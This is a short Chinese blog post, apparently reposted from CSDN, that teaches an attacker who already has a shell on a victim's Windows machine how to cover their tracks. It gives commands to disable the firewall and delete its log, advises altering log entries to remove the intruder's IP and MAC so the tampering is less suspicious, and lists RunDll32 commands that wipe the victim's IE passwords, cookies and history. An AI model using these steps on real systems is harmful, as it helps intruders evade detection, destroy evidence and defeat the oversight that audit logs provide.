版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396294
1、参考文章
2、推荐关注领英
前提环境：我们已经拿到了目标的shell，现在准备清理防火墙记录的痕迹。
cd logfiles/firewall
AI 代码解读
观察防火墙的当前目录
type pfirewall.log
AI 代码解读
读取防火墙日志
Netsh firewall set opmode mode= DISABLE
AI 代码解读
关闭防火墙
Del pfirewall.log
AI 代码解读
删除日志文件
type pfirewall.log
AI 代码解读
验证日志文件是否还在
注：这样是真的省事，可是少了大量日志记录，还是会被发现异常，所以删除带有自己访问记录的条目，或者修改日志内容是最好的选择。把自己的访问ip和，mac记录删除或者修改掉。
个人感觉，删除不是好的选择，你断开连接的时候，有的监管软件会记录你的离开，审核日志的时候，你有离开的记录，没有进入的记录，这就很让人怀疑了。
另：在远程受害者PC中删除Internet Explorer的密码/ Cookies /历史/临时Internet文件
参考文章
删除Internet临时文件
RunDll32.exe InetCpl.cpl，ClearMyTracksByProcess 8
AI 代码解读
删除cookies
RunDll32.exe InetCpl.cpl，ClearMyTracksByProcess 2
AI 代码解读
删除历史记录
RunDll32.exe InetCpl.cpl，ClearMyTracksByProcess 1
AI 代码解读
从数据中删除
RunDll32.exe InetCpl.cpl，ClearMyTracksByProcess 16
AI 代码解读
删除密码
RunDll32.exe InetCpl.cpl，ClearMyTracksByProcess 32
AI 代码解读
删除所有
RunDll32.exe InetCpl.cpl，ClearMyTracksByProcess 255
AI 代码解读
删除加载项存储的所有+文件和设置
RunDll32.exe InetCpl.cpl，ClearMyTracksByProcess 4351
AI 代码解读
